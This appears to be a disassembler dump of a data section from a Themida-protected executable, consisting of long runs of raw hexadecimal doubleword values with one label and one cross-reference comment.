dd 8D05E90Fh, 0ECADBF9Dh, 7E905h, 3420000h, 0D57516ADh
dd 0BD3FFD7h, 0E91F95BDh, 8985FF05h, 6A05E906h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 8A41C357h, 0E7D8529h, 0B58B05E9h, 5E91205h, 59C01ABFh
dd 780E942h, 0E80000h, 5D000000h, 13EEED81h, 800F05EDh
dd 0
dd 243DBD81h, 7D005E9h, 860F0000h, 11Fh, 1145BD03h, 0B6005E9h
dd 0E90701B5h, 0D7816605h, 8B618E8Eh, 0E91E199Dh, 0DE816605h
dd 0BD8B19B4h, 5E91145h, 100E381h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 170424h, 57470000h, 9DFC98C3h
dd 0D58D8922h, 0B05E90Dh, 4D850FDBh, 89000000h, 0E92CFDBDh
dd 0ABD8305h, 5ED12h, 1E840Fh, 9E80000h, 26000000h, 0DCB17F0h
dd 9A75ADB0h, 0A871BE66h, 68E95Eh, 8D890000h, 5E91921h
dd 120A85C7h, 105EDh, 0F7810000h, 1CA42B38h, 4CE9FCh, 0BD8B0000h
dd 5E922C9h, 120A85C7h, 5EDh, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 2FDB7FC3h
dd 912617A5h, 0BF667188h, 0FE8B9D77h, 0DE9h, 9789F000h
dd 7E837EEBh, 0E7F977EBh, 9D8D67BAh, 5E91E19h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 25C35545h, 8D29B818h
dd 5E919CDh, 0FEFF2381h, 8166FFFFh, 66CDC4C6h, 6ADB8Ch
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0B5A585C3h, 0F56028Bh, 687h, 59858900h, 5E05E90Eh, 0F04C3F6h
dd 0A684h, 10E900h, 161D0000h, 94D460E5h, 6EB782B1h, 0B742AE4Dh
dd 95FFE4AEh, 5E90BEDh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0DEC35141h, 1E7549A9h, 95B58902h, 5005E90Eh
dd 10E96056h, 0BC000000h, 80A8556Fh, 8CEAEC6Dh, 65564482h
dd 0E885DFFFh, 14h, 927C437h, 747780D2h, 46F2F346h, 0ABD5B1D1h
dd 70706B1Fh, 895E615Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 8A65F3C3h, 3A1B12E0h
dd 0ABBF6605h, 7DBD8B91h, 0E905E92Bh, 37Ch, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5DC35242h, 0D3FF49E3h
dd 0FC68768h, 8Bh, 6A00B000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 1B0AC352h, 0A195F6B2h
dd 0FECFBC3Bh, 13E9h, 0AB9AAC00h, 61FF270Ah, 6429B214h
dd 0DC8BEFFBh, 2A963A72h, 7B5BD33h, 70E605E9h, 11E971E4h
dd 5D000000h, 752E773Ah, 7A31ADDh, 0FDA90AEDh, 97D4D153h
dd 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0F8FC353h, 88h, 6BA00h, 0BF660000h
dd 0C38B34EEh, 0E8C1FE8Bh, 0FDB58B04h, 6605E90Fh, 6AE2F7h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0BA0341C3h, 0A9CFBF66h, 6AD82Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 150424h, 53430000h, 500148C3h
dd 0EE9h, 0AB203300h, 0C9E88CB8h, 55832B97h, 898C11E4h
dd 0FFFC241Ch, 0E9243DB5h, 0F0B70F05h, 1E9595FFh, 0BD8B05E9h
dd 5E91989h, 0BD8B00B0h, 5E90601h, 8B6670E6h, 0E971E4FBh
dd 12h, 816F695h, 32DB08Dh, 0D7C2C046h, 0DCA9CBE3h, 0BE9CF28h
dd 66000000h, 2C8E2309h, 4061F34Bh, 613CDEC5h, 20A830Fh
dd 85890000h, 5E917C1h, 0D5D78166h, 0D8B60FBDh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0B6C35646h, 0E85F2067h
dd 11h, 0E8080B9Ah, 7DAE8E35h, 5FAB9520h, 0D2B7C6C3h, 0EE8EEh
dd 53FF0000h, 3A64E25Bh, 8EAD088h, 6884A3D1h, 0BA5E5FF5h
dd 6, 880FFC60h, 11h, 0BE8h, 3A9D8400h, 0B26D96B7h, 39AB7FE8h
dd 0C38B6158h, 8B04E8C1h, 0E90F09B5h, 0E2F76605h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D0C35141h, 75F652A5h
dd 96EDDBB5h, 6AD82BFBh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 17042444h, 45000000h, 0B0B2C355h, 0F958DBB8h
dd 880FD82Bh, 134h, 86AC1EBFh, 7B96Bh, 0B5890000h, 5E90641h
dd 6A00C183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 722CC357h, 12E8h, 0B1A86C00h
dd 0BE761B4Eh, 8DB4ADFh, 8909DC58h, 8B68BA8Eh, 0E90191B5h
dd 0D93B5F05h, 0DE860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 18C582C3h, 35E14C58h
dd 6648095Dh, 8C66F78Bh, 0B70F60D9h, 298D09F3h, 6105E929h
dd 0F04C1F6h, 9784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1704h, 0C3554500h, 0ECDA1E3Dh, 0BED95FFh
dd 0BE6605E9h, 6A5B12A7h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 5248C350h, 0D59589DBh
dd 2B05E924h, 0A98589C3h, 3D05E907h, 834h, 36860Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0B48019C3h, 0E02F3081h, 36B8341h, 0E92709B5h, 0EE905h
dd 0B58B0000h, 5E905A9h, 9589C08Bh, 5E90BC1h, 0D88BC38Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 33C35545h
dd 1E8942Dh, 24398501h, 85C705E9h, 5E91EA1h, 700837B9h
dd 8BFA8B66h, 3DBD81C0h, 0D005E924h, 0F000007h, 2885h
dd 85FFFC00h, 5E9243Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0B3C35141h, 8B471274h, 3DB5FFF4h, 0E805E924h
dd 0Bh, 168C9E39h, 0A2095756h, 89E68593h, 0E9061185h, 95FF5E05h
dd 5E91E95h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 0D6C35545h, 0D628CD61h, 90E8B570h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ABC35747h, 0CFCC3466h
dd 0E2BC208Eh, 53F8BF0Fh, 0EE9h, 59349900h, 0AC1D99B0h
dd 6FB4F653h, 5FE89E3Dh, 23A1BD8Bh, 840F05E9h, 6, 2D3DB589h
dd 858905E9h, 5E92EDDh, 32E5B58Bh, 0F28B05E9h, 1649BD8Bh
dd 816005E9h, 0CB9C28C0h, 9D8D091Fh, 0E805E910h, 10h, 883A64E2h
dd 0D108EAD0h, 1E6884A3h, 4DE5F59Fh, 0B96998B8h, 58616059h
dd 0B8E0F61h, 0BF000000h, 593E08DEh, 5B1B58Bh, 0F6005E9h
dd 8160C8B7h, 18F8DE2h, 0D59D8B69h, 8105E927h, 1D017AD2h
dd 0D980612Bh, 6A6150h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 3CBBCAC3h, 64A5AA9Ch, 0F6816677h
dd 0BD8B20CFh, 5E90A9Dh, 23599501h, 2BBF05E9h, 8901101Bh
dd 0E916D1BDh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 0C6816642h, 67BF5A2Ch
dd 0E909CC11h, 0FFFFF882h, 0C18BF38Bh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0FDC35646h, 0F15EBDA5h, 4EB8Dh
dd 66000000h, 0B201DE81h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 19h, 60C35040h, 8E80F33Ch, 0EE9D3h, 90D70000h
dd 76413D18h, 0B4598054h, 257C9A8h, 0E5858DF9h, 0E905E921h
dd 6, 0F3C37A50h, 0DE9A7D9h, 8E000000h, 23A5833Bh, 1A6CA74Ah
dd 7244D3Ch, 0FB8B6690h, 6A9050h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
dd 322EAAC3h, 472AEFDh, 0F819BEAFh, 6A3732h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1AC35141h, 37D3DCBAh
dd 0B58BCAE8h, 5E90EE1h, 858D006Ah, 5ED1D99h, 11E960h
dd 0E4390000h, 40B92185h, 0FDC1532Dh, 0B12F07Bh, 8B1A6700h
dd 0E917C585h, 0C0836105h, 0CDBD8B05h, 9005E910h, 8B525057h
dd 66310FFBh, 5A05EBBFh, 50505F58h, 8A60A7BEh, 6A905F1Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 44C8C350h, 0C26DE6E4h, 42BE9C02h, 661D6B85h
dd 7AA7CE81h, 0B529006Ah, 5E91111h, 6A006Ah, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0B69C08C3h
dd 28D4D420h, 6880F17h, 8B000000h, 0E916DDB5h, 0A195FF05h
dd 6A05E90Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 0CD1CC357h, 989A23B5h, 137A179h
dd 0E92F11BDh, 0BF9D8D05h, 6A05ECADh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0E475C353h
dd 0DE8B8131h, 9F0E1205h, 3098501h, 816605E9h, 0F48BACEh
dd 687h, 759D8900h, 0FF05E905h, 53006AD3h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0D80CB209h
dd 582DC681h, 85FF6E2Fh, 5E90689h, 5B1B58Bh, 28E905E9h
dd 0E8000008h, 0
dd 0A3ED815Dh, 3305ED1Dh, 0E90D69B5h, 3DBD8105h, 0D005E924h
dd 0F000007h, 0FE86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 39E4FD80h, 6DB58B7Ch
dd 8B05E91Eh, 0E907919Dh, 0F6816605h, 0E381E4BAh, 100h
dd 0C124BE66h, 850FDB0Bh, 96h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 5FC35545h, 50476110h, 0F18B6652h
dd 3D95895Eh, 8B05E92Bh, 8EBD83F2h
dword_580000 dd 5ED1Bh, 0C840Fh, 85890000h, 5E905D1h, 61E9h, 85C7F800h
; DATA XREF: Themida_:005414C8o
dd 5ED1B8Eh, 1, 3890F60h, 80000000h, 0C08157D4h, 3D9537C7h
dd 51958961h, 0E905E916h, 3Ah, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ch, 29C35141h, 9F74DE98h, 2CA1AC8Bh
dd 2AF59589h, 85C705E9h, 5ED1B8Eh, 0
dd 28DBD31h, 9D8D05E9h, 5E90791h, 26358589h, 238105E9h
dd 0FFFFFEFFh, 66F8B70Fh, 8501DB8Ch, 5E91949h, 0F04C3F6h
dd 6984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1C04h, 0C3554500h, 0CE8D6692h, 8B659A4Eh, 5E8D2h, 71B90000h
dd 662CAB24h, 0FF5EF08Bh, 0E90BED95h, 57006A05h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
dd 0E83DA94Ah, 7FC2BE90h, 66506A7Eh, 9038C6BFh, 0AC98D89h
dd 82E905E9h, 8B000004h, 0E92D15BDh, 6A00B005h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 45BBC351h, 1F3FABB5h, 0C2218C9Fh, 0E6F78B66h, 0F1B70F70h
dd 8D8971E4h, 5E9233Dh, 0FD8B60Fh, 6BAF3B7h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0F198C352h, 29DA1DA7h, 9B5011Ch, 2305E908h
dd 0E9283DBDh, 6AC38B05h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0E8D3C352h, 0Dh, 4E08C30h
dd 0A17BAC25h, 5E748FA1h, 11BD8B6Ah, 5E05E91Fh, 2549BD8Bh
dd 0E8C105E9h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1904h, 0C3564600h, 0A0759392h, 8E9C1AFh
dd 7E000000h, 4537861Bh, 66BC8AC9h, 6AE2F7h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 140424h, 52420000h, 9D0117C3h
dd 5E901F1h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 2C9A4FC3h, 7D7B68B7h, 0DA8B6093h
dd 14E8h, 0CB86D700h, 2C9C3E22h, 93DA7FD1h, 0BFFF05FDh
dd 0E17FFE51h, 596160E6h, 8F0F5061h, 3, 93F08B66h, 0BCD8D89h
dd 0B5FF05E9h, 5E9243Dh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 0ABC35040h, 0FF39639Bh, 0E91E9595h, 53006A05h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
dd 1916396Eh, 0ED4C0499h, 251BD8Bh, 0B005E9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3C35747h, 6E364D1h
dd 0A422A919h, 3157CE81h, 12E94194h, 69000000h, 7F057DC5h
dd 304B7BEEh, 0DC748509h, 0B156B805h, 6A70E62Ch, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
dd 0F006C350h, 7207F37h, 60C35280h, 6AD3ACB8h, 71E46128h
dd 0AD46BE66h, 3CFA8B66h, 4E830F61h, 8B000002h, 0E93109BDh
dd 0D8B60F05h, 259DB509h, 0B53105E9h, 5E92D3Dh, 6BAh, 25B58900h
dd 8B05E903h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1C04h, 0C3564600h, 34C1F835h, 0FBD1B081h, 45B58BDAh
dd 0C105E927h, 0E96004E8h, 10h, 0A905AFE4h, 0ABA39E46h
dd 332E2DFDh, 3B745AAFh, 2BFD858Bh, 666105E9h, 0D781E2F7h
dd 6C6B842Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 79EDA4C3h, 9B23846Ch, 0C25BD0Bh
dd 6A5805E9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 626FC355h, 1BFD2161h, 17A79B1Fh
dd 880FD82Bh, 181h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 75C35646h, 0A033B972h, 4235C4FDh, 7B9ACh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
dd 53430000h, 59310CC3h, 0D0B4410Bh, 0C183F966h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 3D07F3D1h, 0A9A7CDA6h, 85336050h, 5E92C05h, 0D93B61F8h
dd 0FB860Fh, 8C660000h, 50006AD9h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0F6F5B745h, 840F04C1h
dd 0A9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0D5C35747h, 7F1994DCh, 95FF3852h, 5E90BEDh, 51006A5Bh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 1EA6AC3Ah, 11E9604Dh, 83000000h, 81DBC9D4h, 903FE0Dh
dd 0D2A678E6h, 378EDC67h, 3DC32B61h, 834h, 3B860Fh, 85310000h
dd 5E9070Dh, 58E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 0B5011DEFh, 5E90B29h
dd 7E8h, 7E1A0600h, 0B623F13Ch, 6AC08B5Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A18BC357h
dd 33EF1AD1h, 0E9090DB5h, 8BC38B05h, 57006AD8h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 39180C72h
dd 0AA6988h, 0EE98Ch, 67060000h, 0A26EEF0h, 0C0446454h
dd 621A92D0h, 1E1985C7h, 0B77305E9h, 6A1FEFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4653BCC3h
dd 0B9B82E10h, 59BD8B99h, 8B05E92Bh, 0F4C781C0h, 605BAEB7h
dd 2E6D8589h, 0BB6605E9h, 81611DABh, 0E9243DBDh, 7D005h
dd 23850F00h, 0E9000000h, 13h, 1786FB1Dh, 4A8BFD11h, 2118A43Fh
dd 0DA220FD6h, 0FF53D1D8h, 0E9243D85h, 8B665105h, 0B5FF5FFAh
dd 5E9243Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 15h, 8AC35747h, 0ADB529A6h, 0FF05E924h, 0E91E9595h
dd 0F6B70F05h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1704h, 0C3514100h, 0B7102540h, 32B5BD29h
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 891D64C3h, 0E2E4E5Ah, 57006A23h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8BE8D016h
dd 0E907BDB5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 14102CCDh, 0FA269E53h
dd 0CE81FA8h, 5000000h, 94BBA261h, 0AC68C6Eh, 66383AF4h
dd 15FF28Bh, 0E9276D95h, 0BE666005h, 870F3AE5h, 0Ch, 2D05BD89h
dd 858905E9h, 5E91679h, 91952961h, 6605E917h, 6AF38Bh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 912FC7C3h, 8BF88B66h, 0E9007DB5h, 0F7816605h, 8166CDCEh
dd 0E9CA6DDEh, 10h, 4BC1196Eh, 1CE195B6h, 1FA9CC2Eh, 18E1F959h
dd 0FFF7DEE9h, 759509FFh, 6005E918h, 5DAFE6BEh, 0FFFEB94Dh
dd 0D681FFFFh, 2F73D66Ch, 1E58D21h, 6A05E9h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7EA89C3h
dd 0E43F8A8Ah, 0E328BE73h, 8D210907h, 5E91079h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 72C35646h, 4D0A2F4h
dd 0A996795h, 13E8h, 88687E00h, 0BB9BA3CEh, 665A310Fh
dd 1170B245h, 998D13E0h, 5AF08B66h, 5800F56h, 0B8000000h
dd 77A50B5Ch, 0E58D8B5Fh, 6A05E901h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FEF5C355h
dd 603E133Bh, 8160CB8Ah, 6F8C98D6h, 83616173h, 850F01E1h
dd 1Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 62C35040h, 8D8B885Eh, 5E91079h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 46C35343h, 0E168DD23h
dd 258D8501h, 0E18305E9h, 43850F01h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 0EAE8C357h, 385A2BF0h, 11E9h, 15933200h, 33C0DD0Bh
dd 2AD40E99h, 8719CC7Eh, 840FF5A1h, 6, 578EE281h, 6061476Fh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9EC35141h
dd 0E361D49Bh, 858B1D6Dh, 5E932A9h, 0FFFFFEB9h, 0E38166FFh
dd 8D216F8Bh, 5E926BDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 0E5C35646h, 4EB018ADh, 0AE853A4h, 86000000h
dd 0F09BAE9h, 96BE6F1Fh, 658D8956h, 5805E906h, 0F4BE665Fh
dd 918D211Dh, 6A05E907h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 17042444h, 47000000h, 630FC357h, 0BF0F380Dh
dd 0BD8D8BF2h, 8905E926h, 0E92AA98Dh, 94E68105h, 8318089Ch
dd 850F01E1h, 2Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 28C35141h, 80D739E1h, 9D8BB082h, 5E90BA1h
dd 59D0E381h, 8D8B41F1h, 5E90791h, 0AE9h, 0E735800h, 0D90B318Eh
dd 838F9C8Fh, 850F01E1h, 23h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 49C35747h, 65E858B4h, 61DFBF0Fh
dd 0F1F08060h, 2A11B589h, 0FEB905E9h, 6AFFFFFFh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 129BC355h, 418D2174h, 8105E90Eh, 632EFCE2h, 898D2148h
dd 6A05E900h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 1376C357h, 8D8BF9CBh, 5E90E41h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 2DC35747h
dd 6C9E99E3h, 0F01E183h, 385h, 0D38B6600h, 898D8Bh, 6A05E9h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 0CA7127C3h, 0E183C3EBh, 25850F01h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
dd 0BEFBC352h, 2830Fh, 0C38B0000h, 6A6061h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0CCE004C3h
dd 0C53ADBh, 0E990B951h, 8, 0B958DBBAh, 92025079h, 0FFFFFEB9h
dd 21C28AFFh, 0E91EA18Dh, 99BD8905h, 2105E92Fh, 0E91E198Dh
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 7CEEE6D7h, 958921A8h, 5E91D61h, 8BF7BF0Fh
dd 0E91EA18Dh, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 8E52ADA7h, 3363B50Dh
dd 227BB866h, 81F3B70Fh, 3CBF13DFh, 1E18352h, 25850Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
dd 50400000h, 314ABDC3h, 0F3F8570Fh, 8B23AEFCh, 0E91E198Dh
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 1E1837Fh, 1D850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 618874C3h
dd 55006A60h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 447A338Bh, 2B13990Eh, 0E910659Dh, 3D85C705h
dd 0D005E924h, 6A000007h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 7877C351h, 0E81D00A1h
dd 0Fh, 4668FC15h, 8C7017AFh, 94BF1CA0h, 29B5A9B2h, 0E90E05B5h
dd 6A615E05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 0BA88C352h, 0A683E6A2h, 8595093Bh
dd 8B05E905h, 0E9313D85h, 6107EB05h, 0E99Dh, 6A0000h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 5D73BDC3h, 7F9F4827h, 0B4606498h, 0B58B604Ch, 5E91D75h
dd 2A798589h, 616105E9h, 90D8D29h, 6A05E9h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 340AFC3h
dd 89F61DABh, 0E932158Dh, 0E9C18B05h, 75h, 0D88C6660h
dd 840F04A8h, 35h, 0B5FF016Ah, 5E92345h, 7A6F858Dh, 0D0FF05ECh
dd 0E358589h, 0FE8B05E9h, 680CEFC1h, 20040000h, 26A006Ah
dd 0D6857h, 95FF0001h, 5E90E35h, 32E9h, 0E585C600h, 5605E90Eh
dd 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh, 0EC7A6F85h, 89D0FF05h
dd 0E9314585h, 0D858D05h, 5005E91Eh, 56A206Ah, 4595FF56h
dd 6105E931h, 6E0C1C3h, 0AE8h, 0D2296800h, 0AC2D3B60h
dd 0F88A3DC3h, 0D9816658h, 0C0816358h, 6846h, 0B966F860h
dd 33618370h, 183C8BDBh, 0EE9h, 388CE800h, 73AC3D85h, 5DBA25A2h
dd 814C30E8h, 0E6F9FDF7h, 0FE84Ah, 1A070000h, 79FA0C5h
dd 0F945A729h, 0B601E485h, 5938B1B3h, 0F3E3F781h, 8B666E2Bh
dd 0A9EF81F7h, 6643E0ABh, 9B6AC281h, 9E957h, 553D0000h
dd 0DAB13CBEh, 8FAC4C15h, 8D0F1804h, 0Bh, 5890Fh, 81660000h
dd 66ACB6E2h, 4270CE81h, 18D6EB81h, 0BF0F6233h, 0D2C381D2h
dd 0BE623318h, 23E4ED04h, 9894FB81h, 850FFFFFh, 20h, 0F1BE6660h
dd 0D08B6652h, 21E961h, 4D7E0000h, 0C208153Eh, 80BA764Fh
dd 4DCD444Fh, 0BD91B50Bh, 0FF4BE9F5h, 5C3FFFFh, 4EBBAC65h
dd 6034B9BDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0EAC35040h, 0E9E6A3EBh, 0Fh, 2F0D38C4h, 2F8B40E7h
dd 30071095h, 8B11CF75h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 0AEE44C6Dh, 6840F7Bh
dd 31000000h, 0E916518Dh, 4DBD8305h, 5E916h, 0BD830975h
dd 5E91121h, 50197400h, 0B8C08B53h, 438h, 23B98589h, 9D8D05E9h
dd 5EBB8C4h, 585BD3FFh, 1121BD83h, 740005E9h, 0B8535017h
dd 438h, 23B98589h, 9D8D05E9h, 5EBB5B3h, 585BD3FFh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 72C35141h, 3DE4BE3Fh
dd 8D8B55A0h, 5E90575h, 0DF8B5760h, 51B58B58h, 6105E924h
dd 0BD89C08Bh, 5E905DDh, 86EE8h, 8B666000h, 858961F1h
dd 5E9326Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 19C35040h, 0ACB4BD2Bh, 4A8ED918h, 83AE8h, 89F28B00h
dd 0E9182D85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 8D3374D2h, 8D8964B9h
dd 5E91DFDh, 806E8h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 1B464C47h, 0C9940CCEh
dd 13E9B99Bh, 4C000000h, 0BA17698Fh, 2C1F16B7h, 0AC22A18Ah
dd 5287B46Eh, 85898D90h, 5E931D5h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 49C35343h, 982B1E5Ch, 0A9DB589h
dd 10B105E9h, 796E8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h
dd 0C3554500h, 4CFD58CFh, 7D858994h, 6A05E925h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 3255C357h, 183D1932h, 0CACCC160h, 0EE9h, 0DB4D9D00h
dd 873A0D05h, 0C0D31788h, 0E836C789h, 733h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0FFC35747h, 0F1FBA6C3h
dd 0B0AF920h, 0E9034DB5h, 55858905h, 6A05E92Fh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 0BDCDC353h, 0E84CEEF6h, 6DFh, 171D8501h, 0B53305E9h
dd 5E91081h, 28398589h, 8A0F05E9h, 6, 8D0Fh, 0BCE80000h
dd 6A000006h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0CEB6C352h, 0B834B2C1h, 0B1CCEC4Fh
dd 9985896Fh, 6005E903h, 32D580BEh, 84E8610Bh, 0E8000006h
dd 0Ah, 0CFBC3BA1h, 0C14A6DFEh, 810FB116h, 0Ah, 5E9h, 8D163500h
dd 895F83FEh, 0E910E985h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0FA68F091h
dd 0D58D8B9Ah, 8905E92Dh, 0E921DD8Dh, 62DE805h, 6A0000h
